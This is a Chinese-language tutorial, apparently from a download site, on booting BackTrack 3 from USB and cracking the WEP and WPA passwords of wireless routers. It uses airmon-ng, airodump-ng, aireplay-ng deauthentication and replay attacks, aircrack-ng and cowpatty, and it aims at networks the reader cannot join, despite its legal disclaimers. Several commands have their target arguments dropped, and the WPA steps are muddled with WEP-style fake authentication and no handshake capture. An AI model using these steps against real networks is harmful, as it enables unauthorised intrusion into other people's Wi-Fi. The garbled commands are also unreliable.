BT3（BackTrack 3）是一款非常流行的黑客工具，用于网络渗透测试和安全审计。下面是一个简单的BT3破解无线路由密码的教程，帮助你了解基本步骤和操作。
系统之家提供的下载地址：https://www.xitongzhijia.net/soft/209007.html
警告：下载地址和使用说明仅限用于网络渗透测试和安全审计，不得从事违法工作。
1. 准备启动U盘
- 从可信的来源下载BT3的USB版本。
- 将下载好的文件解压并将Boot和BT3两个文件夹放到U盘的根目录。
- 打开Boot文件夹，双击运行"bootinst.bat"。
2. 进入BIOS设置
- 重启电脑，并进入BIOS设置界面。
- 在BIOS设置中，将"First Boot Device"设置为"USB-HDD"或者"USB-ZIP"。
- 保存设置并重启电脑。
3. 启动BT3系统
- 电脑重新启动后，选择从USB启动。
- 系统将进入BT3操作系统。
4. 开始破解无线路由密码
- 在BT3系统中，打开终端窗口。
- 输入以下命令："ifconfig"，然后按回车键。
5. 找到无线网卡
- 在终端窗口中，你将看到类似下面的信息：
lo: no wireless extensions.
eth0: no wireless extensions.
eth1: IEEE 802.11
- 确保你已经找到了无线网卡（通常是以"eth"开头的接口）。
6. 搜索可破解的无线信号
- 使用无线网卡搜索附近的无线信号。
- 注意，你需要找到一个有加密但无法连接的无线信号。
7. 破解WEP加密
- 如果你打算破解WEP加密的无线路由器密码，请执行以下步骤：
- 在终端窗口中输入以下命令："airmon-ng start "，然后按回车键。例如："airmon-ng start eth1"。
- 再次输入以下命令："airodump-ng --channel "，然后按回车键。例如："airodump-ng eth1 --channel 6"。
- 在输出结果中，找到目标无线路由器的BSSID和ESSID。
- 执行以下命令："aireplay-ng --fakeauth 0 -a -h 00:11:22:33:44:55 -e "。替换命令中的目标BSSID、目标ESSID和无线网卡接口名称。
- 执行以下命令："aireplay-ng --arpreplay -b -h 00:11:22:33:44:55 "。替换命令中的目标BSSID和无线网卡接口名称。
- 执行以下命令："aircrack-ng -b .cap"。替换命令中的目标BSSID和捕获文件名。
8. 破解WPA加密
- 如果你打算破解WPA加密的无线路由器密码，请执行以下步骤：
- 在终端窗口中输入以下命令："airmon-ng start "，然后按回车键。例如："airmon-ng start eth1"。
- 再次输入以下命令："airodump-ng --channel "，然后按回车键。例如："airodump-ng eth1 --channel 6"。
- 在输出结果中，找到目标无线路由器的BSSID和ESSID。
- 执行以下命令："aireplay-ng --fakeauth 0 -a -h 00:11:22:33:44:55 -e "。替换命令中的目标BSSID、目标ESSID和无线网卡接口名称。
- 执行以下命令："aireplay-ng --deauth 0 -a -h 00:11:22:33:44:55 "。替换命令中的目标BSSID和无线网卡接口名称。
- 执行以下命令："cowpatty -r .cap -d .txt -s "。替换命令中的捕获文件名、字典文件名和目标ESSID。
请注意，上述步骤仅供学习和测试用途。未经授权的入侵他人的无线网络是违法行为。使用BT3或任何黑客工具时，请遵守法律和道德准则。
